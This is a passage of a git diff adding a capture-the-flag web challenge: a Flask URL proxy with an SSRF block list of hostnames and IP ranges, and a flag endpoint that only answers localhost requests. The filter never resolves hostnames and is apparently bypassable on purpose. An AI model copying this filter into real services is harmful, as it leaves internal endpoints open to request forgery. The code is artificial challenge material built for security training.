+ ipaddress.ip_network("fe80::/10")
+]
+
+def is_ip_blacklisted(host):
+ try:
+ ip = ipaddress.ip_address(host)
+ for network in BLACKLISTED_IP_RANGES:
+ if ip in network:
+ return True
+ return False
+ except ValueError:
+ return False
+ except Exception as e:
+ app.logger.error(f"Error checking IP blacklist: {e}")
+ return False
+
+def is_url_safe(target_url):
+ try:
+ parsed_url = urlparse(target_url)
+
+ if parsed_url.scheme not in ["http", "https"]:
+ return False
+
+ hostname = parsed_url.hostname
+ if hostname in BLACKLISTED_HOSTNAMES:
+ return False
+
+ if is_ip_blacklisted(hostname):
+ return False
+
+ return True
+ except Exception:
+ return False
+
+@app.route("/")
+def home():
+ return render_template("index.html")
+
+@app.route("/proxy")
+def proxy():
+ target_url = request.args.get("url")
+ if not target_url:
+ return "No URL provided", 400
+
+ if not is_url_safe(target_url):
+ app.logger.warning(f"Blocked unsafe URL: {target_url}")
+ return "Blocked unsafe URL", 400
+
+ try:
+ response = requests.get(target_url, allow_redirects=False)
+ response.raise_for_status()
+ print(response.status_code)
+ if response.status_code > 299 and response.status_code < 400:
+ raise requests.RequestException("Redirects are not allowed")
+ return response.text, response.status_code, {"Content-Type": response.headers.get("Content-Type", "text/html")}
+ except requests.RequestException as e:
+ app.logger.error(f"Error fetching URL {target_url}: {e}")
+ return f"Error fetching the URL: {target_url}", 500
+
+@app.route("/flag")
+def flag():
+ if request.remote_addr == "127.0.0.1" or request.remote_addr == "::1":
+ return FLAG
+ else:
+ app.logger.warning(f"Unauthorized access attempt from {request.remote_addr}")
+ abort(403)
+
+if __name__ == "__main__":
+ app.run(debug=False, host="0.0.0.0", port=1337)
diff --git a/Web/proxy-search/deployment/requirements.txt b/Web/proxy-search/deployment/requirements.txt
new file mode 100644
index 0000000..0eb56cd
--- /dev/null
+++ b/Web/proxy-search/deployment/requirements.txt
@@ -0,0 +1,2 @@
+Flask
+requests
\ No newline at end of file
diff --git a/Web/proxy-search/deployment/templates/index.html b/Web/proxy-search/deployment/templates/index.html
new file mode 100644
index 0000000..c9a6766
--- /dev/null
+++ b/Web/proxy-search/deployment/templates/index.html
@@ -0,0 +1,125 @@
+
+
+
+
+
+ Proxy Server
+
+
+
+ Proxy Server
+
+ Enter URL to Proxy:
+
+ Load in Iframe
+
+ Some Spicy Stuff!!
+ Preview
+
+
+
+
diff --git a/Web/proxy-search/handout/.gitinclude b/Web/proxy-search/handout/.gitinclude
new file mode 100644
index 0000000..e69de29
diff --git a/Web/proxy-search/proxy-search.zip b/Web/proxy-search/proxy-search.zip
new file mode 100644
index 0000000..7be188b
Binary files /dev/null and b/Web/proxy-search/proxy-search.zip differ